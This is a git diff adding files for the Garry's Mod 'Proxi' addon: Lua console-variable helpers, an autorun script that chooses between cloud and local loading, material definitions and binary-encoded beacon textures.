+local HAY_REFERENCE_CALLBACK_FUNC = HAY__CALLBACK_FUNC[ HAY_SHORT ] + +function HAY_MAIN:GetVarName( sVarName ) + return HAY_LOCAL_VARPREFIX .. sVarName + +end + +function HAY_MAIN:GetVar( sVarName, optbReturnString ) + if optbReturnString or false then + return GetConVarString( HAY_LOCAL_VARPREFIX .. sVarName) + end + return GetConVarNumber( HAY_LOCAL_VARPREFIX .. sVarName ) +end + +function HAY_MAIN:CreateVar( sVarName, sContents, shouldSave, userData, optfCallback, optbIsBooleanType ) + CreateClientConVar( HAY_LOCAL_VARPREFIX .. sVarName, sContents, shouldSave, userData) + + if type( optfCallback ) == "function" then + self:CreateVarCallback( sVarName, optfCallback, optbIsBooleanType ) + + end + +end + +function HAY_MAIN:SetVar( sVarName, tContents ) + RunConsoleCommand( HAY_LOCAL_VARPREFIX .. sVarName , tostring(tContents) ) + +end + +function HAY_MAIN:CreateVarCallback( sVarName, fCallback, bIsBooleanType ) + -- WARNING : + -- On this architecture, if a session is restarted with a change in bIsBooleanType + -- It will remain as previously set (Issue can happen in developer stage, not in end-user mode) + + if not HAY_REFERENCE_CALLBACK_FUNC[ sVarName ] then + if not bIsBooleanType then + cvars.AddChangeCallback( HAY_LOCAL_VARPREFIX .. sVarName , function( sCvar, prev, new ) + if not HAY_MAIN then return end + HAY_REFERENCE_CALLBACK_FUNC[ sVarName ]( sCvar, prev, new ) + + end ) + + else + cvars.AddChangeCallback( HAY_LOCAL_VARPREFIX .. sVarName , function( sCvar, prev, new ) + if not HAY_MAIN then return end + if (tonumber( new ) <= 0 and tonumber( prev ) <= 0) or (tonumber( new ) > 0 and tonumber( prev ) > 0) then return end + + HAY_REFERENCE_CALLBACK_FUNC[ sVarName ]( sCvar, prev, new ) + + end ) + + end + + end + HAY_REFERENCE_CALLBACK_FUNC[ sVarName ] = fCallback + +end + + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function HAY_MAIN:GetVarColorVariadic( sCvar ) + return self:GetVar(sCvar .. "_r"), self:GetVar(sCvar .. "_g"), self:GetVar(sCvar .. "_b"), self:GetVar(sCvar .. "_a") + +end + +function HAY_MAIN:AppendVar( tGroup, sName, oDefault, sType, ... ) + if not sType then + tGroup[sName] = oDefault + + elseif sType == "color" then + tGroup[sName .. "_r"] = oDefault[1] + tGroup[sName .. "_g"] = oDefault[2] + tGroup[sName .. "_b"] = oDefault[3] + tGroup[sName .. "_a"] = oDefault[4] + + end + + +end + +function HAY_MAIN:BuildVars( tGroup, sPrefix ) + if not sPrefix then sPrefix = "" end + + for sName,oDefault in pairs( tGroup ) do + if type( oDefault ) == "table" then + self:BuildVars( oDefault, sPrefix .. sName .. "_" ) + + else + self:CreateVar( tostring( sPrefix ) .. tostring( sName ), tostring( oDefault ), true, false ) + + end + + end + +end + +function HAY_MAIN:RestoreVars( tGroup, sPrefix ) + if not sPrefix then return end + + for sName,oDefault in pairs( tGroup ) do + if type( oDefault ) == "table" then + self:RestoreVars( oDefault, sPrefix .. sName .. "_" ) + + else + self:SetVar( tostring( sPrefix ) .. tostring( sName ), tostring( oDefault ) ) + + end + + end + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/sh_proxi_autorun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/sh_proxi_autorun.lua new file mode 100644 index 0000000..a7ccfeb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/sh_proxi_autorun.lua @@ -0,0 +1,75 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Shared Autorun // +//////////////////////////////////////////////// + +if PROXI_DEBUG == nil then + PROXI_DEBUG = false +end + +-- Developer notes : +-- "--" comments should be used for regular comments. +-- "//" comments should be used for debugging / technical / header comments. + +PROXI_NAME = "Proxi" + +PROXI_FORCE_VERSION = false // !! +PROXI_FORCE_USE_CLOUD = true // !! + +if (CLIENT or SinglePlayer()) then + if (proxi and proxi.Unmount) then proxi.Unmount() end + + HeXInclude("cl_proxi_cloudloader.lua") + HeXInclude("cl_proxi_version.lua") + HeXInclude("cl_proxi_preforce.lua") + + proxi_InitLoad() + + --proxi = {} + --proxi_dat = {} + --proxi_focus = {} // Did in the focus lua file + + if not PROXI_FORCE_VERSION then + local function PROXI_CheckResponse() + if not proxi_internal.HasReceivedResponse() then + print(" > " .. PROXI_NAME .. " did not get a response from Cloud Version query. Now loading Locale.") + proxi_cloud.LoadLocale() + + end + + end + + local function PROXI_CallbackResponse() + local MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK = proxi_internal.GetVersionData() + if MY_VERSION < ONLINE_VERSION then + print(" > " .. PROXI_NAME .. " found an updated version from the Cloud (Locale is ".. MY_VERSION .. ", Online is " .. ONLINE_VERSION .. "). Now querying Cloud.") + proxi_cloud.Ask() + + else + print(" > " .. PROXI_NAME .. " Locale seems as up to date as the Cloud. Loading Locale.") + proxi_cloud.LoadLocale() + + end + + end + + print(" > " .. PROXI_NAME .. " is in normal mode. Now querying Version.") + proxi_internal.QueryVersion( PROXI_CallbackResponse ) + timer.Simple( 10, PROXI_CheckResponse ) + + elseif PROXI_FORCE_USE_CLOUD then + print(" > " .. PROXI_NAME .. " is in Cloud force mode. Now querying Cloud.") + proxi_cloud.Ask() + + else + print(" > " .. PROXI_NAME .. " is in Locale force mode. Now loading Locale.") + proxi_cloud.LoadLocale() + + end + + PROXI_INCLUDED_AT_LEAST_ONCE = true +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vmt new file mode 100644 index 0000000..4396bf6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_bigcircle" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle.vtf new file mode 100644 index 0000000000000000000000000000000000000000..be0b5a87471671868b5fa1b6f1744af0fff8dfab GIT binary patch literal 87616 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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vmt new file mode 100644 index 0000000..e0cb08d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_bigcircle_antinoy" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy.vtf new file mode 100644 index 0000000000000000000000000000000000000000..af1750a6d89db156cc1760b9c9c20eff0fb81190 GIT binary patch literal 87616 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 